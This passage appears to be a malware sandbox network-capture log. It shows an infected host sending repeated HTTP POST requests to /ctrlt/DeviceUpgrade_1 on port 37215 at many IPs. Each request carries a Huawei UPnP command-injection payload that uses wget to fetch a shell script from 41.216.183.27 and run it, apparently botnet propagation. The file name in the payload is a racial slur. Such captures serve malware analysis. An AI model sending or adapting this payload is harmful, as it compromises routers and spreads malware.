http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	56502	94.120.1.162	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.590776920 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	56432	94.120.231.185	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.590851068 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	39426	94.120.37.208	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.590925932 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
193	192.168.2.23	35812	94.120.105.46	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.591001034 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.23	53590	94.123.7.60	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.591065884 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.23	47812	94.187.100.27	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.804320097 CET	844	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.23	33280	94.121.64.84	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.804789066 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.23	39304	94.121.220.149	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.805123091 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.23	43076	94.122.106.239	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:30.805366039 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 